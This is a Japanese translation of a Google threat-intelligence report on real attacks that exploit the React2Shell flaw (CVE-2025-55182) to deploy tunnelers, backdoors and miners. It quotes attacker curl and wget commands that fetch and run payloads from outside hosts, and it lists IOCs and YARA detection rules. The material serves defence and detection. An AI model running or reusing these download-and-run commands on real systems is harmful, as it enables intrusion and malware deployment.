コンテンツに移動
脅威インテリジェンス

複数の脅威アクターが React2Shell(CVE-2025-55182)を悪用

2026年1月15日
Google Threat Intelligence Group

Google Threat Intelligence

Visibility and context on the threats that matter most.

Contact Us & Get a Demo

※この投稿は米国時間 2025 年 12 月 13 日に、Google Cloud blog に投稿されたものの抄訳です。

はじめに

2025 年 12 月 3 日、React Server Components において認証不要でリモートコード実行(RCE)が可能となる重大な脆弱性(CVE-2025-55182、別名「React2Shell」)が公開されました。公開直後から Google Threat Intelligence グループ(GTIG)は、日和見的なサイバー犯罪アクターからスパイ活動が疑われるグループまで、多くの脅威クラスタにわたる広範な悪用を観測しています。

GTIG は、この脆弱性を利用して MINOCAT トンネラー、SNOWLIGHT ダウンローダ、HISONIC バックドア、COMPOOD バックドア、XMRIG 暗号資産マイナーをデプロイする複数のキャンペーンを特定しました。その一部は、Huntress が以前に報告した活動と重複しています。これらのキャンペーンは、パッチ未適用バージョンの React や Next.js を使用している組織が直面するリスクを浮き彫りにするものです。この投稿では、観測されたエクスプロイト チェーンと侵害後の挙動について解説し、防御者がこの脅威を特定し、対処するのに役立つインテリジェンスを提供します。

Google がお客様を保護する方法と緩和策の指針については、関連するブログ投稿「CVE-2025-55182 への対応: React および Next.js のワークロードを保護する」をご覧ください。

CVE-2025-55182 の概要

CVE-2025-55182 は、React Server Components に存在する認証不要 RCE の脆弱性で、CVSS v3.x スコアは 10.0、CVSS v4 スコアは 9.3 です。この脆弱性を利用すると、認証されていない攻撃者が HTTP リクエストを 1 つ送信するだけで、影響を受けるウェブサーバー プロセスを実行しているユーザーの権限で任意のコードを実行できるようになります。

GTIG は、CVE-2025-55182 が重大なリスクを伴う脆弱性であると考えています。Next.js などの人気フレームワークで React Server Components(RSC)が使用されているため、この問題に対して脆弱なシステムが多数存在します。さらに悪用の可能性を高める要因として、1)有効なペイロード形式や手法が多様であること、2)システムに脆弱なパッケージが存在するだけで悪用を許す場合が多いこと、の 2 点が挙げられます。

CVE-2025-55182 の脆弱性の影響を受けるのは、具体的には次の RSC パッケージのバージョン 19.0、19.1.0、19.1.1、19.2.0 です。

  • react-server-dom-webpack

  • react-server-dom-parcel

  • react-server-dom-turbopack

この脆弱性については、公開後の初期段階で、機能しないエクスプロイトが多数出回り、実行可能なペイロードや悪用ロジックに関する誤った情報が広く拡散されました。最初はまったく機能していなかったリポジトリの一例が、GitHub ユーザー「ejpir」が公開したこちらのリポジトリです。当初の主張では有効に機能するエクスプロイトであるとされましたが、現在は README が更新され、最初の調査結果の主張が AI 生成されたものであり、実際には機能しないことが適切に明記されています。このリポジトリには依然として機能しないエクスプロイト コードが含まれていますが、現在では Unicode 難読化を使用して実際に動作するエクスプロイト コードも含まれるようになりました。このような事例は当初、業界全体に混乱を引き起こしましたが、実際に動作するエクスプロイトの数と機能は大幅に拡大しており、インメモリでの Next.js ウェブシェル展開機能も確認されています。また、エクスプロイト サンプルには、完全な偽物や機能しないもののほか、実際に動作するものもあり、中にはセキュリティ研究者を標的としたマルウェアを含むものもあります。そのため研究者は、エクスプロイト コードの機能や正当性を信頼する前に、コードを検証する必要があります。

この脆弱性に関する技術的な記事が、Wiz などの信頼できるセキュリティ企業によって公開されています。研究者は、脆弱性の詳細、エクスプロイト コード、公開された検出情報を検証する際は、このような信頼できる公開資料を参照して最新かつ正確な情報を得る必要があります。

また、Next.js に対して別の CVE(CVE-2025-66478)も発行されましたが、この CVE はその後 CVE-2025-55182 の重複としてマークされました。

確認された悪用活動

CVE-2025-55182 の悪用が始まって以来、GTIG は複数の地域や業界で多様なペイロードと悪用後の挙動を観測してきました。このブログ投稿では中国関連のスパイ活動と金銭目的の活動に焦点を当てていますが、イラン関連のアクターが CVE-2025-55182 を悪用していることも確認されています。

中国が関与する活動

12 月 12 日の時点で、GTIG は、CVE-2025-55182 を利用して世界中の被害者のネットワークを侵害している、中国関連の複数の脅威クラスタを特定しています。Amazon Web Services(AWS)のレポートによると、中国と関連する脅威グループである Earth Lamia と Jackpot Panda もこの脆弱性を悪用しています。GTIG は Earth Lamia を UNC5454 として追跡しています。Jackpot Panda については、現時点ではグループの関係性を評価するための公開インジケーターはありません。

MINOCAT

GTIG は、中国との関連が疑われるスパイ活動クラスタ UNC6600 が、この脆弱性を悪用して MINOCAT トンネラーを配信していることを確認しました。脅威アクターは、Bash スクリプトを取得して実行し、隠しディレクトリ($HOME/.systemd-utils)の作成、「ntpclient」という名前のプロセスの強制終了、MINOCAT バイナリのダウンロードを行いました。さらに、新しい cron ジョブと systemd サービスを作成し、現在のユーザーのシェル構成に悪意のあるコマンドを挿入することで、新しいシェルが起動されるたびに MINOCAT が実行される永続性を確立しました。MINOCAT は、カスタムの「NSS」ラッパーと、実際のトンネリングを処理する埋め込み型のオープンソース Fast Reverse Proxy(FRP)クライアントを含む、Linux 用の 64 ビット ELF 実行可能ファイルです。

SNOWLIGHT

別のインシデントでは、中国との関連が疑われる脅威アクター UNC6586 が脆弱性を悪用して、cURL または wget を使用してコマンドを実行し、スクリプトを取得しました。このスクリプトは、SNOWLIGHT ダウンローダ ペイロード(7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a)をダウンロードして実行します。SNOWLIGHT は、Go で記述された一般公開されているマルチプラットフォーム バックドアである VSHELL のコンポーネントです。VSHELL は、さまざまな動機を持つ脅威アクターによって使用されています。GTIG は、SNOWLIGHT が C2 インフラストラクチャ(reactcdn.windowserrorapis[.]com など)に HTTP GET リクエストを送信して、正規のファイルに偽装した追加のペイロードを取得していることを確認しました。

curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

図 1: SNOWLIGHT ペイロードを取得するために実行された cURL コマンド

COMPOOD

GTIG は、脅威アクター UNC6588 が CVE-2025-55182 を悪用し、wget を使用して COMPOOD バックドア ペイロードをダウンロードするスクリプトを実行したインシデントも複数確認しました。その後、このスクリプトは Vim を装った COMPOOD のサンプルを実行しました。GTIG はその後の重大な活動を観測しておらず、この脅威アクターの動機は現時点では不明です。

wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

図 2: wget でダウンロードして実行された COMPOOD

COMPOOD は以前から、中国との関連が疑われるスパイ活動と結びつけられています。2022 年、GTIG は、中国との関連が疑われるスパイ活動アクターが関与するインシデントで COMPOOD を確認しました。また、台湾、ベトナム、中国から VirusTotal にアップロードされたサンプルも確認しています。

HISONIC

中国との関連が疑われる別のアクターである UNC6603 は、HISONIC バックドアの更新バージョンをデプロイしました。HISONIC は Go ベースのインプラントで、Cloudflare Pages や GitLab などの正規のクラウド サービスを利用して、暗号化された構成情報を取得します。この手法により、アクターは悪意のあるトラフィックを正当なネットワーク アクティビティに紛れ込ませることができます。この事例では、アクターは HISONIC バックドアの XOR エンコードされた構成を、開始を示す「115e1fc47977812」と、終了を示す「725166234cf88gxx」の 2 つのマーカーで区切って埋め込みました。テレメトリーによると、このアクターはアジア太平洋(APAC)地域内のクラウド インフラストラクチャ、具体的には AWS と Alibaba Cloud のインスタンスを標的にしています。

<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

図 3: 構成を示す HISONIC マーカー

ANGRYREBEL.LINUX

最後に、中国と関連するアクター UNC6595 が、この脆弱性を悪用して ANGRYREBEL.LINUX をデプロイしていることも確認されました。この脅威アクターが使用するインストール スクリプト(b.sh)は、マルウェアを標準の場所ではなく /etc/ ディレクトリ内で正規の OpenSSH デーモン(sshd)に偽装し、検出回避を図ります。また、ファイルのタイムスタンプを改ざんするタイムストンピングや、シェル履歴の消去(history -c)などのアンチフォレンジック コマンドも使用します。テレメトリーによると、このクラスタは主に国際的な仮想プライベート サーバー(VPS)でホストされているインフラストラクチャを標的としています。

金銭目的の活動

クリプトマイニングでアクセスを収益化する脅威アクターは、新たに公開された脆弱性を真っ先に悪用する傾向があります。GTIG は 12 月 5 日以降に発生した複数のインシデントで、脅威アクターが CVE-2025-55182 を悪用し、不正な暗号通貨マイニングのために XMRig をデプロイしたことを確認しました。観測されたチェーンの一つでは、アクターは「sex.sh」というシェル スクリプトをダウンロードしました。このスクリプトは、GitHub から XMRIG 暗号資産マイナーをダウンロードして実行するほか、「system-update-service」という新しい systemd サービスを介してマイナーの永続性を確立しようとします。

GTIG は、アンダーグラウンド フォーラムで CVE-2025-55182 に関する議論が多数行われていることも確認しています。その中には、脅威アクターがスキャンツールや概念実証(PoC)コードへのリンクを共有したり、これらのツールを使用した経験を共有したりするスレッドも含まれています。

見通しと影響

一般的に、注目度の高い重大な脆弱性が公開されると、影響を受けるプロダクトの検査が強化され、結果として発見される脆弱性の数が一時的に急増します。CVE-2025-55182 の公開以降、React の脆弱性がさらに 3 件公開されています。CVE-2025-55183、CVE-2025-55184、CVE-2025-67779 です。これらの後続の脆弱性のうち 2 つは影響が比較的限定的です(部分的な情報漏洩やサービス拒否(DoS)状態の発生)。3 つ目の脆弱性(CVE-2025-67779)も DoS 状態を引き起こします。これは、CVE-2025-55184 のパッチが不完全であったために発生しました。

推奨事項

React または Next.js を利用している組織は、直ちに次の対策を実行することが推奨されます。

速やかなパッチ適用:

    1. CVE-2025-55182 によるリモートコード実行を防ぐには、影響を受ける React Server Components を、どの脆弱なバージョンを使用しているかに応じて、少なくとも 19.0.1、19.1.2、または 19.2.1 に更新してください。さらに 19.2.2 または 19.2.3 に更新すると、リモートコード実行の可能性も防止できます。

    2. CVE-2025-55183 による情報漏洩の影響を防ぐには、脆弱な React Server Components を 19.2.2 以降に更新してください。

    3. CVE-2025-55184 と CVE-2025-67779 による DoS の影響を防ぐには、脆弱な React Server Components を 19.2.3 に更新してください。19.2.2 パッチでは、DoS の影響を防止するには不十分であることが判明しています。

  1. WAF ルールのデプロイ: Google は、この脆弱性に関連する悪用の試みを検出してブロックするように設計された Cloud Armor ウェブ アプリケーション ファイアウォール(WAF)ルールを公開しました。脆弱性管理プログラムがすべての脆弱なインスタンスにパッチを適用して検証するまでの間、一時的な緩和策としてこのルールをデプロイすることを推奨します。

  2. 依存関係の監査: 環境内の他のアプリケーションに脆弱な React Server Components が依存関係として含まれていないか確認します。

  3. ネットワーク トラフィックの監視: 以下のセキュリティ侵害インジケーター(IOC)へのアウトバウンド接続のログを確認します。特に、ウェブサーバー プロセスによって実行された wget コマンドまたは cURL コマンドに注意してください。

  4. 脅威ハンティング: $HOME/.systemd-utils などの隠しディレクトリの作成、ntpclient などのプロセスの不正な終了、シェル構成ファイル($HOME/.bashrc など)への悪意のある実行ロジックの挿入が行われていないか確認します。

セキュリティ侵害インジケーター(IOC)

防御者がこうした活動を追跡できるよう、GTIG は最近の調査で確認された以下のインジケーターを提供しています。登録済みユーザーは、Google Threat Intelligence の IOC コレクションを利用できます。

インジケーター

タイプ

説明

reactcdn.windowserrorapis[.]com

ドメイン

SNOWLIGHT C2 およびステージング サーバー

82.163.22[.]139

IP アドレス

SNOWLIGHT C2 サーバー

216.158.232[.]43

IP アドレス

sex.sh スクリプトのステージング サーバー

45.76.155[.]14

IP アドレス

COMPOOD C2 およびペイロード ステージング サーバー

df3f20a961d29eed46636783b71589c183675510737c984a11f78932b177b540

SHA256

HISONIC のサンプル

92064e210b23cf5b94585d3722bf53373d54fb4114dca25c34e010d0c010edf3

SHA256

HISONIC のサンプル

0bc65a55a84d1b2e2a320d2b011186a14f9074d6d28ff9120cb24fcc03c3f696

SHA256

ANGRYREBEL.LINUX のサンプル

13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274

SHA256

XMRIG ダウンローダ スクリプト

(ファイル名: sex.sh)

7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a

SHA256

SNOWLIGHT のサンプル(ファイル名: linux_amd64)

776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273

SHA256

MINOCAT のサンプル

YARA ルール

MINOCAT

rule G_APT_Tunneler_MINOCAT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-10"
		rev = "1"
		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
	strings:
		$magic = { 7F 45 4C 46 }
		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
		$frp_str1 = "libxf-2.9.644/main.c"
		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
		$frp_str3 = "cannot found run ID, it should inited when login!"
		$frp_str4 = "new work connection request run_id marshal failed!"
		$telnet_str1 = "Starting telnetd on port %d\n"
		$telnet_str2 = "No login shell found at %s\n"
		$key = "bigeelaminoacow"
	condition:
		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}

COMPOOD

rule G_Backdoor_COMPOOD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-11"
		rev = “1”
            md5 = “d3e7b234cf76286c425d987818da3304”
	strings:
		$strings_1 = "ShellLinux.Shell"
		$strings_2 = "ShellLinux.Exec_shell"
		$strings_3 = "ProcessLinux.sendBody"
		$strings_4 = "ProcessLinux.ProcessTask"
		$strings_5 = "socket5Quick.StopProxy"
		$strings_6 = "httpAndTcp"
		$strings_7 = "clean.readFile"
		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
		$strings_9 = "/proc/self/auxv"
		$strings_10 = "/dev/urandom"
		$strings_11 = "client finished"
		$strings_12 = "github.com/creack/pty.Start"
	condition:
		uint32(0) == 0x464C457f and 8 of ($strings_*)
}

SNOWLIGHT

rule G_Hunting_Downloader_SNOWLIGHT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-03-25"
		date_modified = "2025-03-25"
		md5 = "3a7b89429f768fdd799ca40052205dd4"
		rev = 1
	strings:
		$str1 = "rm -rf $v"
		$str2 = "&t=tcp&a="
		$str3 = "&stage=true"
		$str4 = "export PATH=$PATH:$(pwd)"
		$str5 = "curl"
		$str6 = "wget"
		$str7 = "python -c 'import urllib"
	condition:
		all of them and filesize < 5KB
}

-Google Threat Intelligence グループ、執筆者: Aragorn Tseng、Robert Weiner、Casey Charrier、Zander Work、Genevieve Stark、Austin Larsen

投稿先